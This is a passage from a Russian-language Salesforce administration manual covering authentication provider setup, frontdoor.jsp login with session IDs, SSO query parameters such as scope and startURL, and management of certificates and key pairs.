проверкиподлинностии обрабатывать протоколыпроверкиподлинности. Онтакже создает имя внешнего поставщика
проверки подлинности и отображает это имя в списке доступных поставщиков.

1. В меню «Настройка» введите строку «классы apex» в поле поиска и выберите «Классы Apex».
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2. Нажмите кнопку «Создать».

3. В указанном поле создайте класс и метод Apex.

a. Внедрите интерфейс Auth.AuthProviderPlugin.

b. Введите имя API, указанное в недавно созданных настраиваемых метаданных для текстовой строки «возврат»
метода getCustomMetadataType.

Прим.: Для получения дополнительной информации о классах и методах, затребованных модулем, см. раздел
«Пространство имен проверки подлинности» в Руководстве разработчика Force.com Apex Code.

Конфигурация поставщика проверки подлинности

Пользователю необходим код и секрет приложения поставщика проверки подлинности для настройки поставщика в
организации Salesforce.

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Для типа поставщика выберите своего поставщика.

4. Введите имя поставщика.

5. Заполнитеполе «Индекс URL-адреса». Данное значениеиспользуется в URL-адресах конфигурацииклиента. Например,
если URL-адрес вашего поставщика звучит как МойЗамечательныйПоставщик, ваш URL-адрес SSO похож на
https://login.salesforce.com/auth/sso/00Dx00000000001/MyAwesomeProvider.

6. Введите данные в созданные вами настраиваемые поля.

7. ЧтобысоздатьшаблонклассаApexдлясредстваобработкирегистрации, щелкнитессылку«Автоматическисоздавать
шаблон средства обработки регистрации». Прежде чем использовать данныйшаблон класса, выполните его
редактирование путем изменения стандартного содержимого.

Прим.: Укажите класс средства обработки регистрации для системы Salesforce для создания значения поля
«URL-адрес инициализации единой регистрации».

8. Выберите пользователя, запускающего класс Apex, в поле «Выполнить регистрацию как». Пользователю должно
бытьпредоставленополномочие «Управлениепользователями». Этополеобязательнодлявсехпоставщиковпроверки
подлинности.

9. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данныйзначокприменяется толькок сообществу, поэтомунеотображаетсяна странице
входа дляорганизации Salesforceилинастраиваемогодомена, созданногопосредствомфункции «Мойдомен». Кнопка
позволяетпользователямвыполнятьвходпосредствомсвязанногопоставщикапроверкиподлинностидлясообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

10. Нажмите кнопку «Сохранить».

Запомните сгенерированное значение созданного поля «Код поставщика проверки подлинности». Данное значение
должно использоваться в классе Apex Auth.AuthToken.

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

1047

Безопасность подключенияНастройка и обслуживание организации Salesforce

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_namespace_Auth.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_intro.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_auth_plugin.htm


• «Тестовый URL-адрес инициализации». Позволяет проверять правильность настройки стороннего поставщика.
Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении и
перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации». Применяется для инициализации SSO в Salesforce стороннего
приложения (сиспользованиемучетныхданныхстороннегоприложения). Конечныйпользовательоткрываетданный
URL-адрес в обозревателе и регистрируется в стороннем приложении. Затем стороннее приложение создает нового
пользователя или обновляет текущего пользователя и выполняет вход в систему Salesforce от его имени.

• «URL-адрес связывания текущего пользователя». Позволяет связать текущих пользователей Salesforce со сторонней
учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе, регистрируется в стороннем
приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth». Позволяетполучатьмаркерыдоступа OAuth длястороннегоприложения.
Пользователи, чтобыполучитьмаркер, должныавторизоваться спомощью Salesforceдля стороннейслужбы. Вданной
схеме не предусмотрены будущие возможности SSO.

• «URL-адрес обратного вызова». Позволяет поставщику проверки подлинности обращаться к конечной точке
конфигурации. Поставщикпроверкиподлинностивыполняетпереадресациюнаадрес, указанныйвполе «URL-адрес
обратного вызова», со сведениями для каждого URL-адреса конфигурации клиента.

URL-адресаконфигурацииклиентаподдерживаютдругиепараметрызапроса, позволяющиеперенаправлятьпользователей
для входапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийот стороннихкомпанийилиперехода
в определенную область после проверки подлинности.

Обновление внешнего поставщика проверки подлинности

Послеопределенияпоставщикапроверкиподлинностиворганизации Salesforce вернитесьна сайт внешнегопоставщика
проверки подлинности и обновите приложение для использования «URL-адреса обратного вызова» в качестве
«URL-адреса веб-сайта» поставщика проверки подлинности.

Тестирование подключения SSO

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. Приэтомпользовательпереходитна сайтпоставщика, где емупредлагается выполнить входи авторизовать
приложение. После авторизации пользователь возвращается в систему Salesforce.

Использование frontdoor.jsp для входа в систему Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Рекомендуем использовать frontdoor.jsp для предоставления пользователям доступа к
системе Salesforce из настраиваемого веб-интерфейса (например, сайт Force.com
удаленного доступа или другая интеграция API) посредством текущего кода сеанса и
URL-адреса сервера.

Чтобы проверить подлинность пользователей посредством frontdoor.jsp, рекомендуем
передать frontdoor.jsp URL-адрес сервера и полный код сеанса (не только 15- или
18-значный код).

Оптимальным способом передачи значений является форма, использующая запрос
POST. Например, форма ниже передает frontdoor.jsp код текущего сеанса.

<form method="POST" action="https://instance.salesforce.com/secur/frontdoor.jsp">
<input type="hidden" name="sid"

value="full_sessionID_value"

1048

Безопасность подключенияНастройка и обслуживание организации Salesforce



/>
<input type="submit" name="login" value="Log In" /></form>

При необходимости отправьте значения в виде параметров URL-адреса. В отличие от запроса POST, данный способ
является менее безопасным ввиду раскрытия кода сеанса в URL-адресе.

https://instance.salesforce.com/secur/frontdoor.jsp?sid=full_sessionID_value
&retURL=optional_relative_url_to_open

При использовании настраиваемого домена, созданного посредством функции «Мой домен», рекомендуем передавать
имя домена в URL-адресе сервера.

Форма ниже передает frontdoor.jsp код текущего сеанса для настраиваемого домена.

<form method="POST" action="https://domain_name.my.salesforce.com/secur/frontdoor.jsp">
<input type="hidden" name="sid"

value="full_sessionID_value"
/>

<input type="submit" name="login" value="Log In" /></form>

Ниже приведен пример отправки значений в виде параметров URL-адреса.

https://domain_name.my.salesforce.com/secur/frontdoor.jsp?sid=full_sessionID_value
&retURL=optional_relative_url_to_open

Экземпляр
Рекомендуем выяснить имя экземпляра, используемого организацией. Например, значение
https://na1.salesforce.com, возвращаемое параметром serverUrl при входе посредством интерфейса API,
указывает на использование экземпляра «na1». Оставшаяся часть адреса сервера (имя домена salesforce.com) не
меняется.

При создании интеграции для одной организации Salesforce данное значение может быть жестко запрограммировано.
При создании интеграции для нескольких организаций экземпляр может быть определен посредством параметра
serverUrl объекта LoginResult, возвращенного вызовом SOAP API login().

Полный код сеанса
Параметры ниже содержат полный код сеанса.

• access_token из проверки подлинности OAuth

Совет: При создании связанного приложения одному из параметров scope должно быть задано значение web
или full.

• LoginResult, возвращенный вызовом SOAP API login()

• Метод Apex UserInfo.getSessionId()

Frontdoor.jsp не поддерживает использование кода сеанса, возвращенного методом Visualforce {!GETSESSIONID()}.

Прим.:  Frontdoor.jsp не поддерживает некоторые типы сеансов (например, сеансы API сообщества). При наличии
данных сеансов рекомендуем использовать SAML для единой регистрации.
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Относительный URL-адрес для открытия
При необходимости добавьте относительный путь, закодированный как URL-адрес, для переадресации пользователей в
пользовательский интерфейс Salesforce или на конкретную страницу записи, объекта, отчета или Visualforce (например,
/apex/мояСтраницаVisualforce).

Использование параметров запроса в URL-адресах конфигурации клиента

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Дополнительные параметры запроса позволяют расширить функции, выполняемые
поставщиком проверки подлинности.

Поставщикипроверкиподлинностиподдерживаютдополнительныепараметрызапроса,
позволяющиеперенаправлятьпользователейдля входапосредствомвыбранныхсайтов,
получения настраиваемых полномочий от сторонних компаний или перехода в
определенную область после проверки подлинности.

Добавьте параметры запроса в URL-адреса конфигурации клиента ниже. Данные адреса
создаются в результате определения поставщика проверки подлинности.

• Тестовый URL-адрес инициализации

• URL-адрес инициализации единой регистрации

• URL-адрес связывания текущего пользователя

• URL-адрес обратного вызова

Принеобходимостидополните URL-адреслюбымпараметромниже. Прииспользовании
поставщиков Janrain параметры могут быть добавлены только в соответствующий
URL-адрес обратного вызова.

• Scope: данный параметр настраивает полномочия, полученные от сторонней
компании.

• Site: данный параметр позволяет использовать поставщика на сайте.

• StartURL: данный параметр перенаправляет пользователя, прошедшего проверку
подлинности, в определенную область.

• Community: данный параметр перенаправляет пользователя, прошедшего проверку
подлинности, в определенное сообщество.

• Authorization Endpointнастранице1056: данныйпараметрперенаправляетпользователя
на конкретную конечную точку для проверки подлинности (только поставщики
проверки подлинности Salesforce).
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Использование параметра Scope

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Данный параметр настраивает полномочия, полученные от сторонней компании
(например, Facebook или Janrain), которые предоставляются возвращенному маркеру
доступа.

При необходимости настройте запросы, отправляемые сторонней компании, для
получения маркеров доступа с дополнительными полномочиями. Методы
Auth.AuthToken позволяют извлекать предоставленные маркеры доступа с целью
использования дополнительных полномочий.

Стандартные параметры scope определяются сторонней компанией, но обычно
ограничивают доступ основными сведениямио пользователе. Каждый типпоставщика
(Open ID Connect, Facebook, Salesforceидругие) используетнабор стандартныхпараметров
scope, отправляемых вместе с запросом на конечную точку авторизации. Например,
система Salesforce использует стандартный параметр scope со значением id.

Принеобходимостиотправьтестрокупараметров scope, разделенныхпробелами. Строка
запрошенных параметров scope, разделенных пробелами, отправляется в стороннюю
компанию и переопределяет стандартные полномочия, запрошенные поставщиками
проверки подлинности.

Компания Janrain неиспользуетданныйпараметр, нотребуетнастройкидополнительных
полномочий.

Пример: Нижеприведенпримерпараметра scope, запрашивающего api и web
откомпанииSalesforce, идобавленноговполе «URL-адрес инициализации единой
регистрации», где:

• код_организации — это код поставщика проверки подлинности

• индекс_URL — это значение, указанное приопределениипоставщика проверки
подлинности

https://login.salesforce.com/services/auth/sso/код_организации/индекс_URL?scope=id%20api%20web

Действительные параметры scope также определяются сторонней компанией, поэтому
рекомендуемиспользоватьотдельнуюстороннююдокументацию. Нижеперечисленыпараметры scope, поддерживаемые
системой Salesforce.

ОписаниеЗначение

Разрешает доступ к текущей учетной записи зарегистрированного пользователя
посредствоминтерфейсовAPI (например, REST APIи Bulk API). Кроме того, данное значение
содержит значение chatter_api, разрешающее доступ к ресурсам Chatter REST API.

api

Разрешает доступ только к ресурсам Chatter REST API.chatter_api

Разрешает доступ к настраиваемым полномочиям организации, соответствующей
связанному приложению, и определяет доступность каждого полномочия текущему
пользователю.

custom_permissions

Разрешает доступ ко всем данным, доступным зарегистрированному пользователю, и
охватывает все другиеобласти. Значение full невозвращаетмаркеробновления. Чтобы

full

получить маркер обновления, отправьте запрос на параметр scope со значением
refresh_token.
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ОписаниеЗначение

Разрешаетдоступк службе URL-адресов удостоверений. Чтобыполучить тотжерезультат,
что при использовании значения id, отправьте отдельные запросы profile, email,
address и phone; они все являются синонимами.

id

Разрешает доступ к уникальному идентификатору текущего зарегистрированного
пользователя для приложений OpenID Connect.

Область openid может использоваться процессом проверки подлинности
пользователя-агента OAuth 2.0 ипроцессомпроверкиподлинности веб-сервера OAuth 2.0

openid

для возврата подписанного маркера кода, соответствующего спецификациям OpenID
Connect, а также маркера доступа.

Разрешает возврат маркера обновления при наличии права на его получение. Данная
областьпозволяетприложениювзаимодействоватьсданнымипользователявавтономном
режиме и является синонимом области offline_access.

refresh_token

Разрешает доступ к страницам Visualforce.visualforce

Разрешает использование параметра access_token в Интернете.Кроме того, данное
значениесодержитзначение visualforce, разрешающеедоступкстраницамVisualforce.

web

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента
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Использование параметра Site

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Поставщик проверки подлинности может использоваться для входа на сайт или
связывания с пользователем сайтов.

Чтобы использовать поставщика на сайте, выполните указанные ниже действия.

• Включите возможность использования поставщика на сайте.

• Убедитесь, что конфигурация сайта позволяет использовать данный портал.

• Добавьте сведенияоб URL-адресе входа в URL-адрес соответствующейконфигурации
клиента (например, «URL-адрес инициализации единой регистрации») посредством
параметра site.

Пример: СозданиестраницыVisualforceдлявходаиливыборстандартнойстраницы
выполняется при создании сайта. Пример URL-адреса входа:
https%3A%2F%2Fmysite.force.com%2FSiteLogin.

Ниже приведен пример URL-адреса входа, добавленного в поле «URL-адрес
инициализации единой регистрации» посредством параметра site, где:

• код_организации — это код поставщика проверки подлинности

• индекс_URL — это значение, указанное приопределениипоставщика проверки
подлинности

https://login.salesforce.com/services/auth/sso/код_организации/индекс_URL?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin

Еслипараметр site незадан, топользовательперенаправляетсяна стандартныйпортал
(при наличии поддержки) или в стандартное приложение (при отсутствии поддержки).

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента
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Использование параметра StartURL

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Пользователь, прошедшийпроверкуподлинностииливыполнившийсвязывание, может
быть перенаправлен в определенную область.

Чтобы перенаправить пользователей, прошедших проверку подлинности, в
определенную область, укажите URL-адрес, содержащий параметр запроса startURL.
Данный URL-адрес должен быть относительным, так как абсолютный URL-адрес
возвращает ошибку. Если параметр startURL не добавляется, то пользователь,
прошедшийпроверкуподлинности, перенаправляетсяна страницу /home/home.jsp
(для портала или стандартного приложения) или на стандартную страницу sites (для
сайта).

Пример: Например, значение «URL-адрес инициализации единой регистрации»
инициирует перенаправление пользователя после входа, а значение «URL-адрес
связывания текущего пользователя» перенаправляет пользователя посредством
ссылки «Continue to Salesforce» на странице подтверждения.

Ниже приведен пример параметра startURL, добавленного в поле «URL-адрес
инициализации единой регистрации», где:

• код_организации — это код поставщика проверки подлинности

• индекс_URL — это значение, указанное приопределениипоставщика проверки
подлинности

https://login.salesforce.com/services/auth/sso/код_организации/индекс_URL?startURL=%2F005x00000000001%3Fnoredirect%3D1

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента
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Использование параметра URL-адреса Community

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Пользователь, прошедший проверку подлинности, может быть перенаправлен в
определенное сообщество.

Чтобы перенаправить пользователей, прошедших проверку подлинности, в
определенное сообщество, укажите URL-адрес, содержащий параметр запроса
community. Если параметр не добавляется, то пользователь, прошедший проверку
подлинности, перенаправляется на страницу /home/home.jsp  (для портала или
стандартного приложения) или на стандартную страницу sites (для сайта).

Пример: Например, значение «URL-адрес инициализации единой регистрации»
инициирует перенаправление пользователя после входа, а значение «URL-адрес
связывания текущего пользователя» перенаправляет пользователя посредством
ссылки «Continue to Salesforce» на странице подтверждения.

Нижеприведенпримерпараметра community, добавленноговполе «URL-адрес
инициализации единой регистрации», где:

• код_организации — это код поставщика проверки подлинности

• индекс_URL — это значение, указанное приопределениипоставщика проверки
подлинности

https://login.salesforce.com/services/auth/sso/код_организации/индекс_URL?community=https://acme.force.com/support
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Использование параметра Authorization Endpoint

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Данный параметр перенаправляет пользователя на конкретную конечную точку
авторизации.

Рекомендуем добавить параметр provAuthorizeEndpointHost в URL-адрес
поставщика проверки подлинности Salesforce для перенаправления пользователей на
конечную точку авторизации для предоставленного домена (например, настраиваемый
домен, созданный посредством функции «Мой домен»). Благодаря предоставлению
конечной точки авторизации, пользователям могут быть доступны такие функции, как
обнаружение сеанса во время авторизации. Данный параметр доступен только
поставщикам проверки подлинности Salesforce и не может использоваться для
перенаправления пользователей на страницу авторизации вне домена Salesforce.

Чтобы перенаправить пользователей на конкретную конечную точку авторизации
Salesforce, укажите URL-адрес, содержащий параметр запроса
provAuthorizeEndpointHost и допустимый узел https. Строки запроса,
добавленные в URL-адрес узла, пропускаются. При необходимости укажите путь к
сообществу.

Пример: Ниже приведен пример параметра provAuthorizeEndpointHost,
добавленного в URL-адрес поставщика проверки подлинности.

• код_организации — это код поставщика проверки подлинности

• индекс_URL — это значение, указанное приопределениипоставщика проверки
подлинности

https://login.salesforce.com/services/auth/sso/orgID/

URLsuffix?provAuthorizeEndpointHost=https%3A%2F%2Fmydomain.my.salesforce.com

Ниже приведен пример параметра provAuthorizeEndpointHost,
перенаправленного на URL-адрес сообщества.

https://login.salesforce.com/services/auth/sso/orgID/
URLsuffix?provAuthorizeEndpointHost=https%3A%2F%2Fmycommunity.force.com%2Fbilling

Приотсутствииконечнойточкиавторизациисистема Salesforceиспользует стандартнуюконечнуюточкудляпоставщика
авторизации. При отсутствии стандартной конечной точки система Salesforce использует конечную точку для узла
login.salesforce.com.

Конечная точка авторизации не изменяет конечную точку маркера, представленную настраиваемым или стандартным
узлом. Например, если конечной точкой авторизации является экземпляр безопасной среды, а поставщик должен
использоватьконечнуюточкумаркерапроизводственнойорганизации, топроцесс авторизации, поддерживаемыйтолько
экземпляром безопасной среды, не выполняется.
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Общие сведения о сертификатах и ключах Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Прим.: Данныесведенияотносятся толькокфункцииклассическогошифрования
и не относятся к функциишифрования платформы.

Для работы с сертификатами и ключами Salesforce введите «Управление ключами и
сертификатами» в поле «Быстрый поиск» в меню «Настройка», затем выберите
«Управлениеключамиисертификатами». Нижеперечисленыкомпоненты, доступные
на данной странице для управления.

• Сертификаты

• Сертификаты проверки подлинности

• Основные ключишифрования

Сертификаты
Сертификаты и пары ключей Salesforce используются сигнатурами, проверяющими
запросы на принадлежность организации пользователя. Они используются
проверенными SSL-подключениями к внешнему веб-сайту или при использовании
организации в качестве поставщика удостоверений. При использовании внешнего
веб-сайта, требующего проверки запроса на принадлежность организации Salesforce,
рекомендуем создать только сертификат и пару ключей Salesforce.

Система Salesforce поддерживает два типа сертификатов.

Подписываемый самостоятельно
Автоматически созданный сертификат подписан Salesforce с использованием алгоритма подписи SHA-256. Такие
сертификаты принимаются не всеми внешними веб-сайтами.

Подписываемый центром сертификации
Сертификат, подписываемый центром сертификации, — это сертификат, подписанный внешним центром
сертификации. Такие сертификаты принимаются почти всеми внешними веб-сайтами. Прежде чем использовать
данный тип сертификатов, рекомендуем сначала создать запрос на подписание сертификата, который должен быть
отправлен в центр сертификации, а затем импортировать подписанную версию сертификата.

Система позволяет экспортировать все сертификаты и секретные ключи в хранилище ключей или импортировать
сертификаты и ключи из хранилища ключей. Данный алгоритм позволяет пользователям переносить ключи между
организациями. Экспортированныйфайл использует формат JKS, поэтому импортированныйфайл должен также
использовать формат JKS. Дополнительную информацию оформате JKS см. в специальной документации.

Сертификаты взаимной проверки подлинности

Прим.: При отсутствии данного компонента на странице «Управление сертификатами и ключами» обратитесь в
компанию Salesforce.

Система Salesforce может проверять запросы на принадлежность организации посредством сертификатов Salesforce и
сертификатов по подключениям TLS от клиентов HTTPS для взаимной проверки подлинности.

Основные ключи шифрования
Поля, шифруемыепосредствомзашифрованныхнастраиваемыхполей (например, номерсоциальногообеспеченияили
номер кредитной карты), используютосновной ключшифрования дляшифрования данных. Данный ключназначается
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автоматически при включении зашифрованных полей для организации. Управление основным ключом выполняется
на основе текущих требований безопасности и нормативных требований организации.

СМ. ТАКЖЕ:

Создание сертификатов и пар ключей

Загрузка сертификатов, подписываемых центром сертификации

Управление основными ключамишифрования

Редактирование сертификатов и пар ключей Salesforce

Настройка сертификатов взаимной проверки подлинности

Создание сертификатов и пар ключей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Система Salesforce поддерживает два типа сертификатов.

Подписываемый самостоятельно
Автоматически созданный сертификат подписан Salesforce с использованием
алгоритма подписи SHA-256. Такие сертификаты принимаются не всеми внешними
веб-сайтами.

Подписываемый центром сертификации
Сертификат, подписываемый центром сертификации, — это сертификат,
подписанный внешнимцентром сертификации. Такие сертификатыпринимаются
почти всеми внешними веб-сайтами. Прежде чем использовать данный тип
сертификатов, рекомендуем сначала создать запрос на подписание сертификата,
который должен быть отправлен в центр сертификации, а затем импортировать
подписанную версию сертификата.

Чтобы создать сертификат Salesforce, выполните указанные ниже действия.

1. Введите «Управление ключами и сертификатами» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Управление ключами и сертификатами».

2. Исходя из типа сертификатов, принимаемых внешним веб-сайтом, нажмите кнопку
«Создать сертификат, подписываемый самостоятельно» или «Создать
сертификат, подписываемый центром сертификации». Тип созданного сертификата не может быть изменен.

3. Введите описательную метку для сертификата Salesforce. Как правило, данное имя используется администраторами
при просмотре сертификатов.

4. Заполнитеполе «Уникальное имя». Данноеимя заполняется автоматическинаоснове введеннойметкисертификата.
Данное имя должно быть уникальным и может содержать только буквы, цифры и символы подчеркивания. Имя
должноначинаться сбуквы; неможетсодержатьпробеловидвухпоследовательныхсимволовподчеркивания, а также
не может заканчиваться символом подчеркивания.Поле «Уникальное имя» может использоваться при обращении
к сертификату посредством Force.com Web Services API или Apex.

5. Заполните поле «Размер ключа». Из соображений безопасности рекомендуем использовать стандартный размер
ключа («2048»). Выборзначения «2048» инициирует созданиесертификата с ключамидлиною 2 048 битисроком
действия 2 года. Выбор значения «1024» инициирует создание сертификата с ключами длиною 1 024 бит и сроком
действия 1 год.

Прим.: Размер ключа не может быть изменен после сохранения сертификата Salesforce.
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6. Нижеперечисленыполя, которыетакжедолжныбытьзаполненыприсозданиисертификата, подписываемогоцентром
сертификации. Данные поля позволяют создать уникальный сертификат.

ОписаниеПоле

Полностью определенное имя домена компании,
запрашивающейподписанныйсертификат. Какправило,

Общее имя

имя использует следующийформат:
http://www.moyakompaniya.ru.

Адрес эл. почты, связанный с данным сертификатом.Адрес эл. почты

Официальное название компании или полное имя
пользователя.

Компания

Отделкомпании, использующийсертификат (например,
отдел маркетинга или бухгалтерия).

Отдел

Город расположения компании.Город

Область расположения компании.Область

Двухбуквенный код страны расположения компании.
Например, код США — US.

Код страны

7. Нажмите кнопку «Сохранить».

Загруженные сертификаты, подписываемые самостоятельно, используют расширение CRT. Загруженные запросы на
подписание сертификата используют расширение CSR.

После успешного сохранения сертификата Salesforce система автоматически создает сертификат и соответствующие
ключи.

Разрешается использовать не более 50 сертификатов.

Прежде чем использовать созданный сертификат, подписываемый центром сертификации, рекомендуем загрузить
подписанный сертификат.

Прим.: После создания сертификата, подписываемого центром сертификации, и соответствующего запроса
сертификат неактивен и может использоваться только после подписания центром сертификации и загрузки в
организацию.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Загрузка сертификатов, подписываемых центром сертификации

Повторная загрузка сертификата, подписываемого центром сертификации
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Загрузка сертификатов, подписываемых центром сертификации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Прежде чем активировать и использовать созданный сертификат, подписываемый
центром сертификации, выполните перечисленные ниже действия.

1. Введите «Управление ключами и сертификатами» в поле «Быстрый поиск» в меню
«Настройка», нажмите «Управление ключами и сертификатами», щелкните по
именисертификатаивыберите «Загрузитьзапроснаподписаниесертификата».

2. Отправьте запрос в выбранный центр сертификации.

3. После того как центр сертификации пришлет подписанный сертификат, введите
«Управление ключами и сертификатами» в поле «Быстрый поиск» в меню
«Настройка», нажмите «Управление ключами и сертификатами», щелкните по
имени сертификата и выберите «Передать подписанный сертификат».

4. Чтобынайтисертификат, подписываемыйцентромсертификации, нажмите кнопку
«Обзор». Сертификат, подписываемый центром сертификации, должен
соответствовать сертификату, созданному в системе Salesforce. При загрузке другого
сертификата, подписываемого центром сертификации, данная загрузка отменяется.

5. Чтобызавершитьпроцесс загрузки, нажмитекнопку«Сохранить». Чтобыотменить
загрузку сертификата, нажмите кнопку «Отмена».

После успешной загрузки подписанному сертификату назначается статус «Активно»,
а сам сертификат становится доступным для использования.

Цепочкасертификатов — этоиерархическийпорядоксертификатов, прикоторомодинсертификатвыдаетиподписывает
другой сертификат, расположенный ниже по иерархии. Загрузите цепочку сертификатов как один подписываемый
центром сертификации сертификат в кодировке PEM, представляющий собой объединенную цепочку сертификатов.
Загруженная цепочка сертификатов должна содержать промежуточные сертификаты в указанном ниже порядке.

• Начните с сертификата сервера или клиента, а затем добавьте соответствующий сертификат подписи.

• При наличии нескольких промежуточных сертификатов между сертификатом сервера или клиента и корневым
сертификатом добавьте каждый сертификат как сертификат, использованный для подписания предыдущего
сертификата.

• Корневой сертификат является необязательным, поэтому, как правило, не добавляется.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Повторная загрузка сертификата, подписываемого центром сертификации
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Повторная загрузка сертификата, подписываемого центром сертификации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Повторная загрузка сертификата, подписываемого центром сертификации, позволяет
загружать полные сведения о сертификате илипродленный сертификат после загрузки
самогосертификата. Данныйалгоритмпозволяетэкономитьрабочеевремяпользователей
на повторном создании ключа и сертификата. Повторная загрузка инициирует
автоматическуюповторнуюпубликациюдоменовопубликованныхсайтовприналичии
как минимум одного сайта Force.com или сообщества. Кроме того, дата истечения срока
действия записи сертификата заменяется датой истечения срока действия недавно
загруженного сертификата.

Чтобы повторно загрузить сертификат, подписываемый центром сертификации,
выполните указанные ниже действия.

1. Введите «Управление ключами и сертификатами» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Управление ключами и сертификатами».

2. Щелкните имя нужного сертификата, подписываемого центром сертификации.

Прим.: Сертификат должен иметь расширение CRT.

3. Нажмите кнопку «Обновить подписанный сертификат», затем нажмите кнопку
«Выбратьфайл».

4. Чтобы найти сертификат, подписываемый центром сертификации, нажмите кнопку «Обзор». Открытый ключ
сертификата, подписываемогоцентромсертификации, долженсоответствоватьоткрытомуключузаписисертификата,
созданной в системе Salesforce. При загрузке другого сертификата, подписываемого центром сертификации, данная
загрузка отменяется.

Прим.: Чтобы отменить загрузку, нажмите кнопку «Отмена».

5. Чтобы завершить процесс загрузки, нажмите кнопку «Сохранить».

Цепочкасертификатов — этоиерархическийпорядоксертификатов, прикоторомодинсертификатвыдаетиподписывает
другой сертификат, расположенный ниже по иерархии. Загрузите цепочку сертификатов как один подписываемый
центром сертификации сертификат в кодировке PEM, представляющий собой объединенную цепочку сертификатов.
Загруженная цепочка сертификатов должна содержать промежуточные сертификаты в указанном ниже порядке.

• Начните с сертификата сервера или клиента, а затем добавьте соответствующий сертификат подписи.

• При наличии нескольких промежуточных сертификатов между сертификатом сервера или клиента и корневым
сертификатом добавьте каждый сертификат как сертификат, использованный для подписания предыдущего
сертификата.

• Корневой сертификат является необязательным, поэтому, как правило, не добавляется.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Загрузка сертификатов, подписываемых центром сертификации
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Настройка сертификатов взаимной проверки подлинности

ВЕРСИИ

Доступно в версиях:
